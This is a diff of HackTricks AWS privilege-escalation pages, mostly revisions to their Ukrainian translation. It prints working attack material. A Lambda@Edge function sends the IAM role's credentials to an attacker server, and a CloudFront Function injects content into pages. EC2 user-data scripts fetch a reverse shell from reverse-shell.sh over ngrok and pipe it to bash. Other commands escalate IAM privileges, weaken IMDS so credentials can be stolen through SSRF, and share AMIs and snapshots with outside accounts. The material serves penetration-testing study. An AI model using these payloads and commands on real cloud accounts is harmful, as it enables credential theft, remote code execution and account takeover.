\
+--distribution-config file://current-config.json \
+--if-match $CURRENT_ETAG
+```
+
+### `cloudfront:UpdateFunction`, `cloudfront:PublishFunction`, `cloudfront:GetFunction`, `cloudfront:CreateFunction` and `cloudfront:AssociateFunction`
+An attacker needs the permissions cloudfront:UpdateFunction, cloudfront:PublishFunction, cloudfront:GetFunction, cloudfront:CreateFunction and cloudfront:AssociateFunction to manipulate or create CloudFront functions.
+
+The attacker creates a malicious CloudFront Function that injects JavaScript into HTML responses:
+
+```bash
+function handler(event) {
+var request = event.request;
+var response = event.response;
+// Create a new body with malicious JavaScript
+var maliciousBody = `
+
+
+
+Compromised Page
+
+
+Original Content
+This page has been modified by CloudFront Functions
+
+
+
+`;
+// Replace the body entirely
+response.body = { encoding: "text", data: maliciousBody };
+// Update headers
+response.headers["content-type"] = { value: "text/html; charset=utf-8" };
+response.headers["content-length"] = {
+value: maliciousBody.length.toString(),
+};
+response.headers["x-cloudfront-function"] = { value: "malicious-injection" };
+return response;
+}
+```
+
+Commands to create, publish and attach the function:
+
+```bash
+# Створити шкідливу функцію в CloudFront
+aws cloudfront create-function --name malicious-function --function-config '{
+"Comment": "Malicious CloudFront Function for Code Injection",
+"Runtime": "cloudfront-js-1.0"
+}' --function-code fileb://malicious-function.js
+
+# Отримати ETag функції на стадії DEVELOPMENT
+aws cloudfront describe-function --name malicious-function --stage DEVELOPMENT --query 'ETag' --output text
+
+# Опублікувати функцію на стадії LIVE
+aws cloudfront publish-function --name malicious-function --if-match
+```
+
+Add the function to the distribution configuration (FunctionAssociations):
+
+```bash
+"FunctionAssociations": {
+"Quantity": 1,
+"Items": [
+{
+"FunctionARN": "arn:aws:cloudfront:::function/malicious-function",
+"EventType": "viewer-response"
+}
+]
+}
+```
+
+Finally update the distribution configuration (remember to supply the current ETag):
+
+```bash
+CURRENT_ETAG=$(aws cloudfront get-distribution-config --id --query 'ETag' --output text)
+
+aws cloudfront update-distribution --id --distribution-config file://current-config.json --if-match $CURRENT_ETAG
+```
+
+### `lambda:CreateFunction`, `lambda:UpdateFunctionCode`, `lambda:PublishVersion`, `iam:PassRole` & `cloudfront:UpdateDistribution`
+
+An attacker needs the lambda:CreateFunction, lambda:UpdateFunctionCode, lambda:PublishVersion, iam:PassRole and cloudfront:UpdateDistribution permissions to create and associate malicious Lambda@Edge functions. A role that can be assumed by the lambda.amazonaws.com and edgelambda.amazonaws.com service principals is also required.
+
+The attacker creates a malicious Lambda@Edge function that steals the IAM role credentials:
+
+```bash
+// malicious-lambda-edge.js
+exports.handler = async (event) => {
+// Obtain role credentials
+const credentials = {
+accessKeyId: process.env.AWS_ACCESS_KEY_ID,
+secretAccessKey: process.env.AWS_SECRET_ACCESS_KEY,
+sessionToken: process.env.AWS_SESSION_TOKEN,
+};
+// Send credentials to attacker's server
+try {
+await fetch("https:///steal-credentials", {
+method: "POST",
+headers: { "Content-Type": "application/json" },
+body: JSON.stringify(credentials)
+});
+} catch (error) {
+console.error("Error sending credentials:", error);
+}
+if (event.Records && event.Records[0] && event.Records[0].cf) {
+// Modify response headers
+const response = event.Records[0].cf.response;
+response.headers["x-credential-theft"] = [
+{
+key: "X-Credential-Theft",
+value: "Successful",
+},
+];
+return response;
+}
+return {
+statusCode: 200,
+body: JSON.stringify({ message: "Credentials stolen" })
+};
+};
+```
+
+```bash
+# Упакувати функцію Lambda@Edge
+zip malicious-lambda-edge.zip malicious-lambda-edge.js
+
+# Створити функцію Lambda@Edge з привілеєвою роллю
+aws lambda create-function \
+--function-name malicious-lambda-edge \
+--runtime nodejs18.x \
+--role \
+--handler malicious-lambda-edge.handler \
+--zip-file fileb://malicious-lambda-edge.zip \
+--region
+
+# Опублікувати версію функції
+aws lambda publish-version --function-name malicious-lambda-edge --region
+```
+
+Then the attacker updates the CloudFront distribution configuration to reference the published Lambda@Edge version:
+
+```bash
+"LambdaFunctionAssociations": {
+"Quantity": 1,
+"Items": [
+{
+"LambdaFunctionARN": "arn:aws:lambda:us-east-1::function:malicious-lambda-edge:1",
+"EventType": "viewer-response",
+"IncludeBody": false
+}
+]
+}
+```
+
+```bash
+# Застосувати оновлену конфігурацію distribution (потрібно використовувати поточний ETag)
+CURRENT_ETAG=$(aws cloudfront get-distribution-config --id --query 'ETag' --output text)
+
+aws cloudfront update-distribution \
+--id \
+--distribution-config file://current-config.json \
+--if-match $CURRENT_ETAG
+
+# Запустити функцію, виконавши запит до distribution
+curl -v https://.cloudfront.net/
+```
+
+{{#include ../../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ec2-privesc/README.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ec2-privesc/README.md
index 2da35ee77..ff958d3e8 100644
--- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ec2-privesc/README.md
+++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ec2-privesc/README.md
@@ -4,7 +4,7 @@
## EC2
-Більше **інформації про EC2** див.:
+Для отримання додаткової **інформації про EC2** див.:
{{#ref}}
../../aws-services/aws-ec2-ebs-elb-ssm-vpc-and-vpn-enum/
@@ -12,11 +12,11 @@
### `iam:PassRole`, `ec2:RunInstances`
-Зловмисник може створити instance, прикріпити IAM role і потім отримати доступ до instance, щоб вкрасти облікові дані IAM role з metadata endpoint.
+Зловмисник може **створити інстанс із приєднаним IAM role і потім отримати доступ до інстансу**, щоб викрасти облікові дані IAM role з metadata endpoint.
- **Доступ через SSH**
-Запустіть новий instance, використовуючи **створений** **ssh key** (`--key-name`) і потім підключіться по ssh (якщо ви хочете створити новий, можливо, вам знадобиться дозвіл `ec2:CreateKeyPair`).
+Запустіть новий інстанс, використовуючи **створений** **ssh key** (`--key-name`), а потім підключіться до нього по ssh (якщо ви хочете створити новий ключ, вам може знадобитися дозвіл `ec2:CreateKeyPair`).
```bash
aws ec2 run-instances --image-id --instance-type t2.micro \
--iam-instance-profile Name= --key-name \
@@ -24,7 +24,7 @@ aws ec2 run-instances --image-id --instance-type t2.micro \
```
- **Доступ через rev shell у user data**
-Ви можете запустити новий інстанс, використовуючи **user data** (`--user-data`), яке надішле вам **rev shell**. При цьому немає потреби вказувати security group.
+Ви можете запустити новий instance, використовуючи **user data** (`--user-data`), який надішле вам **rev shell**. Вам не потрібно вказувати security group цим способом.
```bash
echo '#!/bin/bash
curl https://reverse-shell.sh/4.tcp.ngrok.io:17031 | bash' > /tmp/rev.sh
@@ -34,17 +34,17 @@ aws ec2 run-instances --image-id --instance-type t2.micro \
--count 1 \
--user-data "file:///tmp/rev.sh"
```
-Будьте обережні з GuradDuty якщо ви використовуєте облікові дані IAM role поза межами instance:
+Будьте обережні з GuradDuty якщо ви використовуєте облікові дані ролі IAM поза інстансом:
{{#ref}}
../../aws-services/aws-security-and-detection-services/aws-guardduty-enum.md
{{#endref}}
-**Потенційний вплив:** Direct privesc to a any EC2 role attached to existing instance profiles.
+**Potential Impact:** Прямий privesc до будь-якої EC2 role, прикріпленої до існуючих instance profiles.
#### Privesc to ECS
-З цим набором дозволів ви також можете **create an EC2 instance and register it inside an ECS cluster**. Таким чином, ECS **services** будуть **run** in inside the **EC2 instance**, до якого ви маєте доступ, і тоді ви можете проникнути в ці сервіси (docker containers) і **steal their ECS roles attached**
+З цим набором дозволів ви також можете **create an EC2 instance and register it inside an ECS cluster**. Таким чином, ECS **services** будуть **run** всередині **EC2 instance**, до якого ви маєте доступ, і ви зможете проникнути в ці сервіси (docker containers) та **steal their ECS roles attached**.
```bash
aws ec2 run-instances \
--image-id ami-07fde2ae86109a2af \
@@ -59,20 +59,20 @@ aws ec2 run-instances \
#!/bin/bash
echo ECS_CLUSTER= >> /etc/ecs/ecs.config;echo ECS_BACKEND_HOST= >> /etc/ecs/ecs.config;
```
-Щоб дізнатися, як **змушувати ECS services to be run** в цьому новому EC2 екземплярі, перегляньте:
+Щоб дізнатися, як **змусити ECS services виконуватися** в цьому новому EC2 instance перегляньте:
{{#ref}}
../aws-ecs-privesc/README.md
{{#endref}}
-Якщо ви **не можете створити новий екземпляр**, але маєте дозвіл `ecs:RegisterContainerInstance`, ви можете зареєструвати екземпляр у кластері та виконати описану атаку.
+Якщо ви **не можете створити новий instance**, але маєте дозвіл `ecs:RegisterContainerInstance`, ви можете зареєструвати instance в кластері та виконати зазначену атаку.
-**Potential Impact:** Direct privesc до ролей ECS, прикріплених до tasks.
+**Potential Impact:** Прямий privesc до ролей ECS, прикріплених до tasks.
### **`iam:PassRole`,** **`iam:AddRoleToInstanceProfile`**
-Подібно до попереднього сценарію, зловмисник із цими дозволами може **змінити IAM роль скомпрометованого екземпляра**, щоб викрасти нові облікові дані.\
-Оскільки профіль екземпляра може мати лише одну роль, якщо профіль екземпляра **вже має роль** (поширений випадок), вам також знадобиться **`iam:RemoveRoleFromInstanceProfile`**.
+Подібно до попереднього сценарію, зловмисник з цими дозволами може **змінити IAM роль скомпрометованого instance**, щоб викрасти нові облікові дані.\
+Оскільки instance profile може мати лише 1 роль, якщо instance profile **вже має роль** (поширений випадок), вам також знадобиться **`iam:RemoveRoleFromInstanceProfile``**
```bash
# Removing role from instance profile
aws iam remove-role-from-instance-profile --instance-profile-name --role-name
@@ -80,34 +80,34 @@ aws iam remove-role-from-instance-profile --instance-profile-name --role-
# Add role to instance profile
aws iam add-role-to-instance-profile --instance-profile-name --role-name
```
-Якщо **instance profile has a role** і attacker **cannot remove it**, існує інший обхідний шлях. Він може **find** an **instance profile without a role** або **create a new one** (`iam:CreateInstanceProfile`), **add** the **role** до того **instance profile** (як описано вище), і **associate the instance profile** compromised до compromised i**nstance:**
+Якщо **instance profile має role** і атакуючий **не може її видалити**, є інший обхідний шлях. Він може **знайти** **instance profile без role** або **створити новий** (`iam:CreateInstanceProfile`), **додати** **role** до того **instance profile** (як описано вище), і **асоціювати цей instance profile** до скомпрометованого i**nstance:**
-- Якщо instance **doesn't have any instance** profile (`ec2:AssociateIamInstanceProfile`)
+- Якщо **instance** **не має жодного instance profile** (`ec2:AssociateIamInstanceProfile`)
```bash
aws ec2 associate-iam-instance-profile --iam-instance-profile Name= --instance-id
```
-**Potential Impact:** Direct privesc to a different EC2 role (потрібно скомпрометувати AWS EC2 instance та мати додаткові дозволи або певний статус instance profile).
+**Потенційний вплив:** Direct privesc to a different EC2 role (you need to have compromised a AWS EC2 instance and some extra permission or specific instance profile status).
### **`iam:PassRole`((** `ec2:AssociateIamInstanceProfile`& `ec2:DisassociateIamInstanceProfile`) || `ec2:ReplaceIamInstanceProfileAssociation`)
-Завдяки цим дозволам можна змінити instance profile, пов'язаний з екземпляром, тому якщо зловмисник уже має доступ до екземпляра, він зможе викрадати облікові дані для інших ролей instance profile, замінюючи пов'язаний із ним.
+Маючи ці дозволи, можна змінити instance profile, пов’язаний з інстанцією, тож якщо атакуючий уже має доступ до інстанції, він зможе вкрасти облікові дані для інших ролей шляхом заміни прив’язаного instance profile.
-- Якщо він **має instance profile**, ви можете **видалити** цей instance profile (`ec2:DisassociateIamInstanceProfile`) та **асоціювати** інший.
+- Якщо інстанція **має instance profile**, ви можете **від’єднати** instance profile (`ec2:DisassociateIamInstanceProfile`) і **асоціювати** інший
```bash
aws ec2 describe-iam-instance-profile-associations --filters Name=instance-id,Values=i-0d36d47ba15d7b4da
aws ec2 disassociate-iam-instance-profile --association-id
aws ec2 associate-iam-instance-profile --iam-instance-profile Name= --instance-id
```
-- або **замінити** **instance profile** скомпрометованого екземпляра (`ec2:ReplaceIamInstanceProfileAssociation`).
+- або **замінити** **instance profile** компрометованого instance (`ec2:ReplaceIamInstanceProfileAssociation`).
```bash
aws ec2 replace-iam-instance-profile-association --iam-instance-profile Name= --association-id
```
-**Potential Impact:** Прямий privesc до іншої EC2 role (потрібно мати скомпрометований AWS EC2 instance та додатковий дозвіл або специфічний instance profile status).
+**Потенційний вплив:** Прямий privesc до іншої EC2 role (потрібно мати скомпрометований AWS EC2 instance та додаткові дозволи або певний instance profile status).
### `ec2:RequestSpotInstances`,`iam:PassRole`
-Зловмисник з дозволами **`ec2:RequestSpotInstances` та `iam:PassRole`** може **запросити** **Spot Instance** з **EC2 Role attached** та **rev shell** у **user data**.\
-Після запуску інстансу він може **викрасти IAM role**.
+Зловмисник із дозволами **`ec2:RequestSpotInstances`and`iam:PassRole`** може запросити **Spot Instance** з **EC2 Role attached** та **rev shell** у **user data**.\
+Після запуску інстансу він може викрасти **IAM role**.
```bash
REV=$(printf '#!/bin/bash
curl https://reverse-shell.sh/2.tcp.ngrok.io:14510 | bash
@@ -119,9 +119,9 @@ aws ec2 request-spot-instances \
```
### `ec2:ModifyInstanceAttribute`
-Зловмисник з правами **`ec2:ModifyInstanceAttribute`** може змінювати атрибути інстансів. Серед іншого він може **змінити user data**, що дозволяє змусити інстанс **запустити довільні дані.** Це може бути використано для отримання **rev shell на EC2 instance**.
+Атакуючий з правом **`ec2:ModifyInstanceAttribute`** може змінювати атрибути інстансу. Серед них він може **змінити user data**, що дозволяє змусити інстанс **виконати довільний код.** Це можна використати для отримання **rev shell на EC2 instance**.
-Зверніть увагу, що атрибути можна **змінювати тільки коли інстанс зупинений**, тому необхідні права **`ec2:StopInstances`** та **`ec2:StartInstances`**.
+Зверніть увагу, що атрибути можна **змінювати тільки коли інстанс зупинений**, тож потрібні **права** **`ec2:StopInstances`** і **`ec2:StartInstances`**.
```bash
TEXT='Content-Type: multipart/mixed; boundary="//"
MIME-Version: 1.0
@@ -158,11 +158,11 @@ aws ec2 modify-instance-attribute \
aws ec2 start-instances --instance-ids $INSTANCE_ID
```
-**Потенційний вплив:** Пряме privesc до будь-якої EC2 IAM Role, приєднаної до створеного інстансу.
+**Potential Impact:** Прямий privesc до будь-якої EC2 IAM Role, прикріпленої до створеного інстансу.
### `ec2:CreateLaunchTemplateVersion`,`ec2:CreateLaunchTemplate`,`ec2:ModifyLaunchTemplate`
-Атакувальник з дозволами **`ec2:CreateLaunchTemplateVersion`,`ec2:CreateLaunchTemplate`and `ec2:ModifyLaunchTemplate`** може створити **нову Launch Template version** з **rev shell у** **user data** і **будь-якою EC2 IAM Role на ній**, змінити версію за замовчуванням, і **будь-яка Autoscaler group** **using** ту **Launch Templat**e, яка **configured** використовувати **latest** або **default version**, перезапустить **re-run the instances** за цим шаблоном і виконає rev shell.
+Атакувальник із дозволами **`ec2:CreateLaunchTemplateVersion`,`ec2:CreateLaunchTemplate`and `ec2:ModifyLaunchTemplate`** може створити **нову версію Launch Template** з **rev shell у** **user data** та **будь-якою EC2 IAM Role на ній**, змінити версію за замовчуванням, і **будь-яка Autoscaler group** **що використовує** цей **Launch Template**, яка **сконфігурована** використовувати **latest** або **default version**, повторно **re-run the instances** за цим шаблоном і виконає rev shell.
```bash
REV=$(printf '#!/bin/bash
curl https://reverse-shell.sh/2.tcp.ngrok.io:14510 | bash
@@ -176,11 +176,11 @@ aws ec2 modify-launch-template \
--launch-template-name bad_template \
--default-version 2
```
-**Потенційний вплив:** Пряме privesc до іншої ролі EC2.
+**Potential Impact:** Прямий privesc до іншої EC2 role.
### (`autoscaling:CreateLaunchConfiguration` | `ec2:CreateLaunchTemplate`), `iam:PassRole`, (`autoscaling:CreateAutoScalingGroup` | `autoscaling:UpdateAutoScalingGroup`)
-Зловмисник із дозволами **`autoscaling:CreateLaunchConfiguration`,`autoscaling:CreateAutoScalingGroup`,`iam:PassRole`** може **створити Launch Configuration** з **IAM Role** та **rev shell** у **user data**, потім **створити autoscaling group** з цієї конфігурації і чекати, поки rev shell **вкраде IAM Role**.
+Зловмисник з правами **`autoscaling:CreateLaunchConfiguration`,`autoscaling:CreateLaunchConfiguration`,`iam:PassRole`** може **створити Launch Configuration** з **IAM Role** та **rev shell** у **user data**, потім **створити autoscaling group** з цієї конфігурації й чекати, поки rev shell **вкраде IAM Role**.
```bash
aws --profile "$NON_PRIV_PROFILE_USER" autoscaling create-launch-configuration \
--launch-configuration-name bad_config \
@@ -196,28 +196,28 @@ aws --profile "$NON_PRIV_PROFILE_USER" autoscaling create-auto-scaling-group \
--desired-capacity 1 \
--vpc-zone-identifier "subnet-e282f9b8"
```
-**Потенційний вплив:** Прямий privesc до іншої EC2 role.
+**Потенційний вплив:** Прямий privesc до іншої ролі EC2.
### `!autoscaling`
-Набір дозволів **`ec2:CreateLaunchTemplate`** і **`autoscaling:CreateAutoScalingGroup`** **не достатній для ескалації** привілеїв до IAM role, оскільки для прикріплення ролі, вказаної в Launch Configuration або в Launch Template, **потрібні дозволи `iam:PassRole` та `ec2:RunInstances`** (що є відомим privesc).
+The set of permissions **`ec2:CreateLaunchTemplate`** and **`autoscaling:CreateAutoScalingGroup`** **aren't enough to escalate** privileges to an IAM role because in order to attach the role specified in the Launch Configuration or in the Launch Template **you need to permissions `iam:PassRole`and `ec2:RunInstances`** (which is a known privesc).
### `ec2-instance-connect:SendSSHPublicKey`
-Зловмисник з дозволом **`ec2-instance-connect:SendSSHPublicKey`** може додати ssh-ключ до користувача і використати його для доступу (якщо він має ssh-доступ до інстансу) або для ескалації привілеїв.
+Зловмисник із дозволом **`ec2-instance-connect:SendSSHPublicKey`** може додати ssh-ключ до користувача й використати його для доступу (якщо він має ssh доступ до інстансу) або для ескалації привілеїв.
```bash
aws ec2-instance-connect send-ssh-public-key \
--instance-id "$INSTANCE_ID" \
--instance-os-user "ec2-user" \
--ssh-public-key "file://$PUBK_PATH"
```
-**Можливий вплив:** Прямий privesc до EC2 IAM ролей, прикріплених до запущених інстансів.
+**Можливий вплив:** Пряме privesc до EC2 IAM roles, прикріплених до запущених instances.
### `ec2-instance-connect:SendSerialConsoleSSHPublicKey`
-Зловмисник з дозволом **`ec2-instance-connect:SendSerialConsoleSSHPublicKey`** може **додати ssh ключ до послідовного підключення**. Якщо послідовний інтерфейс не увімкнено, зловмиснику потрібен дозвіл **`ec2:EnableSerialConsoleAccess`**, щоб увімкнути його.
+Зловмисник з дозволом **`ec2-instance-connect:SendSerialConsoleSSHPublicKey`** може **додати ssh-ключ до послідовного підключення**. Якщо послідовний доступ не ввімкнено, зловмиснику потрібен дозвіл **`ec2:EnableSerialConsoleAccess` для його ввімкнення**.
-Щоб підключитися до serial-порту, також **потрібно знати username та password користувача** всередині машини.
+Щоб підключитися до послідовного порту, також **потрібно знати ім'я користувача та його пароль** на машині.
```bash
aws ec2 enable-serial-console-access
@@ -229,13 +229,13 @@ aws ec2-instance-connect send-serial-console-ssh-public-key \
ssh -i /tmp/priv $INSTANCE_ID.port0@serial-console.ec2-instance-connect.eu-west-1.aws
```
-Цей спосіб не дуже корисний для privesc, оскільки для його експлуатації потрібно знати username і password.
+Цей спосіб не надто корисний для privesc, оскільки для його експлуатації потрібно знати ім'я користувача та пароль.
-**Потенційний вплив:** (Майже неможливо довести) Прямий privesc до EC2 IAM roles, прикріплених до запущених інстансів.
+**Потенційний вплив:** (дуже важко довести) Пряме privesc до EC2 IAM roles, прикріплених до запущених інстансів.
### `describe-launch-templates`,`describe-launch-template-versions`
-Оскільки launch templates підтримують версіонування, зловмисник з дозволами **`ec2:describe-launch-templates`** та **`ec2:describe-launch-template-versions`** може використати їх для виявлення чутливої інформації, наприклад credentials, що містяться в user data. Для цього наступний скрипт перебирає всі версії доступних launch templates:
+Оскільки launch templates підтримують версіонування, атакуючий з правами **`ec2:describe-launch-templates`** та **`ec2:describe-launch-template-versions`** може використати це для виявлення чутливої інформації, наприклад облікових даних, що присутні в user data. Щоб досягти цього, наступний скрипт перебирає всі версії доступних launch templates:
```bash
for i in $(aws ec2 describe-launch-templates --region us-east-1 | jq -r '.LaunchTemplates[].LaunchTemplateId')
do
@@ -252,20 +252,24 @@ done
Якщо ми знайдемо `aws_access_key_id` та `aws_secret_access_key`, ми можемо використати ці облікові дані для автентифікації в AWS.
-**Potential Impact:** Пряма ескалація привілеїв до IAM user(s).
+**Potential Impact:** Пряме підвищення привілеїв для IAM-користувача(ів).
-## Посилання
+## References
- [https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation/](https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation/)
-### `ec2:ModifyInstanceMetadataOptions` (зниження захисту IMDS для дозволу викрадення облікових даних через SSRF)
-Атакуючий, який може викликати `ec2:ModifyInstanceMetadataOptions` на цільовому EC2 інстансі, може послабити захист IMDS, ввімкнувши IMDSv1 (`HttpTokens=optional`) та збільшивши `HttpPutResponseHopLimit`. Це робить endpoint метаданих інстансу доступним через поширені SSRF/проксі-шляхи з додатків, що працюють на інстансі. Якщо атакуючий зможе викликати SSRF у такому додатку, він зможе отримати instance profile credentials і pivot з їх використанням.
-- Необхідні дозволи: `ec2:ModifyInstanceMetadataOptions` на цільовому інстансі (плюс можливість досягти/спровокувати SSRF на хості).
-- Цільовий ресурс: працюючий EC2 інстанс з приєднаним instance profile (IAM role).
-Приклад команд:
+
+### `ec2:ModifyInstanceMetadataOptions` (пониження IMDS, щоб дозволити SSRF для викрадення облікових даних)
+
+Зловмисник, який має можливість викликати `ec2:ModifyInstanceMetadataOptions` на цільовому EC2-інстансі, може послабити захист IMDS, увімкнувши IMDSv1 (`HttpTokens=optional`) і збільшивши `HttpPutResponseHopLimit`. Це робить кінцеву точку метаданих інстансу доступною через звичайні SSRF/проксі-шляхи від застосунків, що працюють на інстансі. Якщо зловмисник зможе викликати SSRF у такому застосунку, він може отримати облікові дані профілю інстансу та pivot з їх використанням.
+
+- Необхідні дозволи: `ec2:ModifyInstanceMetadataOptions` на цільовому інстансі (плюс здатність досягнути/спровокувати SSRF на хості).
+- Цільовий ресурс: запущений EC2-інстанс з приєднаним instance profile (IAM role).
+
+Commands example:
```bash
# 1) Check current metadata settings
aws ec2 describe-instances --instance-id \
@@ -292,5 +296,28 @@ aws sts get-caller-identity
aws ec2 modify-instance-metadata-options --instance-id \
--http-tokens required --http-put-response-hop-limit 1
```
-Можливий вплив: крадіжка облікових даних instance profile через SSRF, що призводить до privilege escalation та lateral movement з дозволами ролі EC2.
+Можливий вплив: викрадення instance profile credentials через SSRF, що призводить до підвищення привілеїв і латерального переміщення з правами ролі EC2.
+
+### `ec2:ModifyInstanceMetadataOptions`
+
+Зловмисник, який має дозвіл ec2:ModifyInstanceMetadataOptions, може послабити захист Instance Metadata Service (IMDS) — наприклад, примусивши використання IMDSv1 (зробивши HttpTokens необов'язковими) або збільшивши HttpPutResponseHopLimit — тим самим полегшуючи ексфільтрацію тимчасових облікових даних. Найбільш релевантний вектор ризику — підвищення HttpPutResponseHopLimit: збільшивши цей ліміт переходів (TTL), кінцева точка 169.254.169.254 перестає бути строго обмеженою простором імен мережі VM і може стати доступною для інших процесів/контейнерів, що дозволяє викрадення облікових даних.
+```bash
+aws ec2 modify-instance-metadata-options \
+--instance-id \
+--http-tokens optional \
+--http-endpoint enabled \
+--http-put-response-hop-limit 2
+```
+### `ec2:ModifyImageAttribute`, `ec2:ModifySnapshotAttribute`
+
+Атакуючий, який має дозволи `ec2:ModifyImageAttribute` та `ec2:ModifySnapshotAttribute`, може ділитися AMIs або snapshots з іншими обліковими записами AWS (або навіть зробити їх публічними), що призведе до розкриття образів або томів, які можуть містити конфігурації, облікові дані, сертифікати або резервні копії. Змінивши дозволи запуску AMI або дозволи `create-volume` для snapshot, атакуючий дає третім сторонам змогу запускати інстанси або монтувати диски з цих ресурсів і отримувати доступ до їхнього вмісту.
+
+Щоб поділитися AMI з іншим обліковим записом:
+```bash
+aws ec2 modify-image-attribute --image-id --launch-permission "Add=[{UserId=}]" --region
+```
+Щоб поділитися EBS snapshot з іншим обліковим записом:
+```bash
+aws ec2 modify-snapshot-attribute --snapshot-id --create-volume-permission "Add=[{UserId=}]" --region
+```
{{#include ../../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-iam-privesc/README.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-iam-privesc/README.md
index 61f98a244..bb193f1c0 100644
--- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-iam-privesc/README.md
+++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-iam-privesc/README.md
@@ -4,7 +4,7 @@
## IAM
-Детальніше про IAM див.:
+Для додаткової інформації про IAM дивіться:
{{#ref}}
../../aws-services/aws-iam-enum.md
@@ -12,9 +12,9 @@
### **`iam:CreatePolicyVersion`**
-Надає можливість створювати нову версію політики IAM, оминаючи необхідність дозволу `iam:SetDefaultPolicyVersion` за допомогою прапорця `--set-as-default`. Це дозволяє визначати власні дозволи.
+Надає можливість створювати нову версію політики IAM, обходячи потребу в дозволі `iam:SetDefaultPolicyVersion` шляхом використання прапорця `--set-as-default`. Це дозволяє визначати власні дозволи.
-**Exploit Command:**
+**Команда експлуатації:**
```bash
aws iam create-policy-version --policy-arn \
--policy-document file:///path/to/administrator/policy.json --set-as-default
@@ -23,29 +23,29 @@ aws iam create-policy-version --policy-arn \
### **`iam:SetDefaultPolicyVersion`**
-Дозволяє змінити версію за замовчуванням політики IAM на іншу існуючу версію, що може призвести до підвищення привілеїв, якщо нова версія має більше дозволів.
+Дозволяє змінювати версію за замовчуванням політики IAM на іншу існуючу версію, що може призвести до ескалації привілеїв, якщо нова версія має більше дозволів.
-**Команда Bash:**
+**Bash команда:**
```bash
aws iam set-default-policy-version --policy-arn --version-id v2
```
-**Вплив:** Косвене privilege escalation шляхом надання додаткових дозволів.
+**Вплив:** Indirect privilege escalation шляхом надання додаткових дозволів.
### **`iam:CreateAccessKey`**
-Дозволяє створювати access key ID і secret access key для іншого користувача, що може призвести до privilege escalation.
+Дозволяє створювати access key ID та secret access key для іншого користувача, що може призвести до потенційного privilege escalation.
**Exploit:**
```bash
aws iam create-access-key --user-name
```
-**Вплив:** Пряме підвищення привілеїв шляхом присвоєння собі розширених дозволів іншого користувача.
+**Impact:** Пряме підвищення привілеїв шляхом отримання розширених дозволів іншого користувача.
### **`iam:CreateLoginProfile` | `iam:UpdateLoginProfile`**
-Дозволяє створювати або оновлювати login profile, включно зі встановленням паролів для AWS console login, що призводить до прямого підвищення привілеїв.
+Дозволяє створювати або оновлювати профіль входу, включаючи встановлення паролів для входу в AWS console, що призводить до прямого підвищення привілеїв.
-**Експлойт для створення:**
+**Exploit for Creation:**
```bash
aws iam create-login-profile --user-name target_user --no-password-reset-required \
--password ''
@@ -55,49 +55,49 @@ aws iam create-login-profile --user-name target_user --no-password-reset-require
aws iam update-login-profile --user-name target_user --no-password-reset-required \
--password ''
```
-**Вплив:** Пряме підвищення привілеїв шляхом входу як "будь-який" користувач.
+**Вплив:** Пряме підвищення привілеїв шляхом входу під користувачем "any".
### **`iam:UpdateAccessKey`**
-Дозволяє увімкнути відключений access key, що потенційно може призвести до несанкціонованого доступу, якщо атакувач має цей відключений ключ.
+Дозволяє увімкнути вимкнений access key, що може надати несанкціонований доступ, якщо зловмисник має цей ключ.
**Exploit:**
```bash
aws iam update-access-key --access-key-id --status Active --user-name
```
-**Вплив:** Пряме підвищення привілеїв шляхом реактивації access keys.
+**Вплив:** Direct privilege escalation шляхом повторної активації access keys.
### **`iam:CreateServiceSpecificCredential` | `iam:ResetServiceSpecificCredential`**
-Дозволяє створювати або скидати credentials для конкретних AWS сервісів (наприклад, CodeCommit, Amazon Keyspaces), успадковуючи permissions пов'язаного користувача.
+Дозволяє генерувати або скидати credentials для конкретних AWS сервісів (наприклад, CodeCommit, Amazon Keyspaces), успадковуючи permissions пов'язаного user.
-**Експлойт для створення:**
+**Exploit for Creation:**
```bash
aws iam create-service-specific-credential --user-name --service-name
```
-**Exploit для Reset:**
+**Exploit для скидання:**
```bash
aws iam reset-service-specific-credential --service-specific-credential-id
```
-**Вплив:** Пряме підвищення привілеїв в межах дозволів сервісу користувача.
+**Вплив:** Пряме підвищення привілеїв у межах дозволів сервісу користувача.
### **`iam:AttachUserPolicy` || `iam:AttachGroupPolicy`**
Дозволяє прикріплювати політики до користувачів або груп, безпосередньо підвищуючи привілеї шляхом успадкування дозволів прикріпленої політики.
-**Exploit for User:**
+**Exploit для користувача:**
```bash
aws iam attach-user-policy --user-name --policy-arn ""
```
-**Exploit для Group:**
+**Exploit для групи:**
```bash
aws iam attach-group-policy --group-name --policy-arn ""
```
-**Вплив:** Пряме підвищення привілеїв до будь-чого, що дозволяє ця політика.
+**Вплив:** Пряме підвищення привілеїв до всього, що надає ця політика.
### **`iam:AttachRolePolicy`,** ( `sts:AssumeRole`|`iam:createrole`) | **`iam:PutUserPolicy` | `iam:PutGroupPolicy` | `iam:PutRolePolicy`**
-Дозволяє прикріплювати або додавати політики до ролей, користувачів або груп, що дозволяє пряме підвищення привілеїв через надання додаткових дозволів.
+Дозволяє приєднувати або додавати політики до ролей, користувачів або груп, що дає змогу здійснити пряме підвищення привілеїв шляхом надання додаткових дозволів.
**Exploit for Role:**
```bash
@@ -114,7 +114,7 @@ aws iam put-group-policy --group-name --policy-name ""
aws iam put-role-policy --role-name --policy-name "" \
--policy-document file:///path/to/policy.json
```
-Ви можете використовувати політику на кшталт:
+Ви можете використовувати політику, наприклад:
```json
{
"Version": "2012-10-17",
@@ -127,28 +127,28 @@ aws iam put-role-policy --role-name --policy-name "" \
]
}
```
-**Вплив:** Пряме privilege escalation шляхом додавання дозволів через політики.
+**Вплив:** Пряме підвищення привілеїв шляхом додавання дозволів через політики.
### **`iam:AddUserToGroup`**
-Дозволяє додати себе до IAM-групи, escalating privileges шляхом успадкування дозволів цієї групи.
+Дозволяє додати себе до IAM group, підвищуючи привілеї шляхом успадкування дозволів групи.
-**Exploit:**
+**Експлойт:**
```bash
aws iam add-user-to-group --group-name --user-name
```
-**Impact:** Пряме підвищення привілеїв до рівня дозволів групи.
